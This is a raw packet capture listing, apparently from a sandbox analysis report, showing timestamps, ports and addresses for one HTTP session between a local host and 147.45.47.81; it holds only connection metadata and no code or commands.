Sep 29, 2024 09:44:14.848129034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848140001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848161936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848191977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848206997 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848223925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848254919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848264933 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848288059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848320007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848341942 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848352909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848397970 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848402977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848440886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848468065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848485947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848499060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848531008 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848540068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848562956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848593950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848609924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848684072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848717928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848732948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848751068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848784924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848798037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848818064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848850012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848861933 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848881960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848916054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848926067 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.848948956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848979950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.848990917 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849010944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849045038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849052906 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849076986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849112034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849123955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849144936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849178076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849184990 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849210978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849241972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849256039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849276066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849309921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849320889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849340916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849389076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849402905 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849422932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849457026 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849462986 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849488020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849522114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849534035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849554062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849587917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849601984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849618912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849652052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849666119 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849685907 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849716902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849729061 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849754095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849786997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849797010 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849818945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849853039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849864006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.849886894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849930048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.849932909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.895215988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.920085907 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920135975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920169115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920191050 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.920201063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920234919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920248985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.920265913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920300961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.920314074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.932753086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932804108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932810068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.932837963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932871103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932887077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.932904005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932950020 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.932950974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.932986021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933017969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933027029 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933052063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933098078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933100939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933132887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933166027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933182955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933198929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933232069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933245897 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933264971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933303118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933314085 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933336020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933368921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933382988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933418989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933463097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933468103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933506012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933553934 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933554888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933619022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933646917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933662891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933697939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933747053 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933748007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933796883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933830023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933846951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933867931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933913946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.933917999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933947086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933979034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.933994055 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934010983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934055090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934057951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934091091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934123993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934135914 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934174061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934206009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934221983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934238911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934269905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934278965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934319019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934350967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934366941 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934401035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934432030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934448957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934465885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934498072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934511900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934530973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934562922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934592962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934595108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934627056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934648037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934684038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934720039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934734106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934752941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934783936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934799910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934835911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934864998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934884071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934895992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934928894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934942961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.934962034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934993029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.934999943 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935024977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935058117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935071945 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935108900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935142040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935156107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935175896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935209036 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935221910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935241938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935273886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935285091 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935302019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935333014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935347080 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935365915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935406923 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935415030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935447931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935478926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935492992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935512066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935544014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935564995 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935576916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935614109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935628891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935646057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935677052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935688972 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935715914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935748100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935759068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935784101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935815096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935828924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935847998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935879946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935889006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935910940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935945034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.935956955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.935976028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936008930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936022043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936042070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936073065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936103106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936105013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936136961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936152935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936171055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936203003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936216116 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936237097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936268091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936297894 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936300039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936331987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936341047 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936364889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936395884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936414003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936430931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936463118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936477900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936495066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936527014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936539888 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936559916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936590910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936613083 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936620951 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936652899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936675072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.936688900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.936733961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.007108927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007174015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007210016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007234097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.007241964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007293940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.007297039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007330894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.007380962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.007402897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.019882917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.019937038 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.019939899 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.019990921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020024061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020044088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020059109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020093918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020111084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020143986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020176888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020209074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020214081 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020242929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020256042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020296097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020328999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020340919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020363092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020395041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020407915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020452023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020490885 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020499945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020570993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020600080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020617008 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020637035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020679951 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020689011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020721912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020756960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020770073 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020791054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020838022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020840883 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020874023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020908117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.020920038 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.020961046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021008968 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021008968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021043062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021075964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021087885 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021107912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021148920 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021151066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021183014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021215916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021225929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021249056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021297932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021302938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021330118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021363020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021373034 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021394014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021437883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021444082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021477938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021512032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021523952 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.021543980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.021574974 CEST	80	49706	147.45.47.81	192.168.2.5
